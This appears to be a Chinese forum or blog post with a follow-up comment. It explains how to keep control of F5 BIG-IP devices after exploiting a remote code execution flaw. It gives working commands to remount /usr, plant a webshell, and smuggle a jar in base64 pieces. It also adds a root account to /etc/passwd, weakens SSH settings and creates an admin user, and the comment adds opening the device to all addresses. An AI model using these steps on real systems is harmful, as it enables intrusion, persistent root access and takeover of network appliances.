起因
这次这个RCE还好,说不好用它给的权限是root,说好用能打的又很少,大部分还不出网,ssh又连不上。复现我也不复现了,分析我也不分析。exp网络上一大把,我就说说怎么加个webshell吧。
毕竟大部分机器都是不出网,你ssh开不进去,反弹又反弹不出来。不过既然你能打exp,那么说明就是web是开启的,我们唯一的好方法自然就是加个webshell了。
写webshell
web路径在/usr/local/www/tmui
下,但是默认路径会被redict到login.jsp
,所以我们可以写到静态文件目录,也就是/usr/local/www/tmui/tmui/login/images/
下面,当然直接写过去肯定是不行的,因为/usr
权限是ro。
访问webshell
我们得执行mount -o remount rw /usr
重新挂载/usr,这样我们才有权限写webshell。写了webshell,开开心心的访问,你肯定会看到大大的,根据90老哥的指点,我们得放一个ecj-4.4.jar包上去,放的路径记住是/usr/share/tomcat/lib
,放到这下面。
如果你可以 出网,那么好说,直接用curl从远程下载一份到这个目录就行,如果不能出网,恭喜你,我的解决办法是把这个jar先base64,然后分割成30份,然后30分轮流echo 输出到远程/tmp/tmp.txt下,然后再用(cat /tmp/tmp.txt|base64 -d) > /usr/share/tomcat/lib/ecj-4.4.jar
,由于网络/exp的缘故,成功率十分的感人。
之后得重启tomcat,如何重启呢?这个big-ip自带了重启命令,直接运行/usr/bin/restart_tomcat
就行。
提权
提权就简单很多了,直接echo "abcd:advwtv/9yU5yQ:0:0:root:/home/abcd:/bin/bash" >>/etc/passwd
这样我们就能在冰蝎用控制台直接su提权了
如果ssh允许出网
那么简单许多了,ssh配置路径在/config/ssh/sshd_config
下
设置了PAM。不允许证书和密码登陆,所以我们要先用命令修改
sed -i "s/UsePAM yes/UsePAM no/g" /config/ssh/sshd_config
sed -i "s/PasswordAuthentication no/PasswordAuthentication yes/g" /config/ssh/sshd_config
service sshd restart
然后就可以利用上面写入/etc/passwd的东西来进行ssh登陆了
如果SSH登陆。可以尝试运行这个tmsh create auth user baka2 password baka@bie123 partition-access add { all-partitions { role admin } }
,运行后会在https添加用户。即可登陆bigip的web控制台,在路由哪里设置allow就行
/etc/passwd 写入权限从哪里搞到的。。
程序默认就是运行在root权限下的
帮鳖补充一下最后那个命令
添加完用户之后到 Network - Self IPs - 对应IP - Port Lockdown - Allow All
然后SSH可能有限制范围,到 System - Platform - SSH IP Allow 里面加上0.0.0.0/0就差不多了